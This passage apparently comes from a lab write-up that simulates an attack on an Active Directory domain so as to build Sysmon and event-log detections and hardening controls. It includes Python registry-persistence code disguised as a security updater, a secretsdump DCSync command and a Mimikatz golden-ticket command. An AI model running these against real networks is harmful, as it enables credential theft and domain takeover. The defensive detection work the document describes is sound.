AD-Lab-Net). The objective is to understand adversary mechanics to engineer reliable detection rules (Sysmon / Windows Event Logs) and harden enterprise Active Directory configurations.
1. Lab Architecture & Network Topology
The lab replicates a standard corporate enterprise Active Directory forest:
- Domain Controller (DC-01): Windows Server 2016 (Static IP
192.168.100.10, Active Directory Domain Services, Internal DNS/DHCP Server). - Domain Workstation (WS-01): Windows 10 Enterprise joined to the domain (DHCP lease
192.168.100.20). - Attacker Station: Kali Linux (
192.168.100.30) equipped with Impacket, NetExec, and custom Python listeners.
2. Attack Chain & MITRE ATT&CK Mapping
1. Endpoint Persistence via Registry Run Key (MITRE T1547.001)
Developed a Python reverse shell payload packaged via PyInstaller. Upon initial execution on the workstation, the payload establishes persistence by modifying HKCU\Software\Microsoft\Windows\CurrentVersion\Run:
import winreg, sys, os
def establish_persistence():
key_path = r"Software\Microsoft\Windows\CurrentVersion\Run"
app_path = os.path.abspath(sys.argv[0])
try:
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path, 0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(key, "WindowsSecurityUpdater", 0, winreg.REG_SZ, app_path)
winreg.CloseKey(key)
except Exception as e:
pass
2. NTDS.dit Credential Extraction via DRSUAPI (MITRE T1003.003)
Once privileged credentials were recovered, extracted the full domain password hash database without invoking Volume Shadow Copy or interrupting Active Directory services by leveraging the Directory Replication Service Remote Protocol (MS-DRSR):
python3 secretsdump.py DOMAIN/Administrator:Password123@192.168.100.10 -just-dc-ntlm
Extracted the krbtgt user NTLM hash (aad3b435b51404eeaad3b435b51404ee:b3a5...), enabling the generation of forged Kerberos Ticket Granting Tickets (Golden Tickets).
3. Pass-the-Hash & Golden Ticket Abuse (MITRE T1550.002, T1558.001)
Demonstrated lateral movement using recovered NTLM hashes via NetExec over SMB without knowing plaintext passwords, followed by Kerberos Golden Ticket creation using Mimikatz:
kerberos::golden /domain:adlab.local /sid:S-1-5-21-3141592653... /rc4:[KRBTGT_HASH] /user:Administrator /ticket:golden.kirbi
3. Detection Engineering & Mitigation Architecture
The critical outcome of this lab was defining high-fidelity detection rules and enterprise mitigation controls:
- Registry Persistence Detection: Sysmon Event ID 12 / 13 (Registry Object Added / Value Set) monitoring writes to
\CurrentVersion\Runand\RunOnce. - DRSUAPI Dumping Detection: Windows Security Event ID 4662 (An operation was performed on an object) filtering for DS-Replication-Get-Changes (
1131f6aa-9c07-11d1-f79f-00c04fc2dcd2) triggered by non-DC computer accounts. - Pass-the-Hash Detection: Event ID 4624 (Successful Logon) with Logon Type 3 (Network) utilizing NTLM authentication instead of Kerberos for administrative tier accounts.
- Active Directory Tiered Admin Model: Enforce strict separation between Tier 0 (Domain Controllers), Tier 1 (Servers), and Tier 2 (Workstations) to prevent credential caching on lower-trust machines.
- Protected Users Security Group: Add domain admins to Protected Users to disable NTLM hash caching in LSASS and restrict RC4 encryption for Kerberos.
- Periodic KRBTGT Password Rotation: Establish automated dual-rotation cycles for the KRBTGT account password to invalidate any potential Golden Tickets.
To enhance realistic defense telemetry, future lab iterations will integrate a centralized Wazuh SIEM / ELK stack collecting Sysmon and Zeek network bro-logs in real-time, coupled with automated Sigma rule testing against adversary simulation frameworks like Atomic Red Team.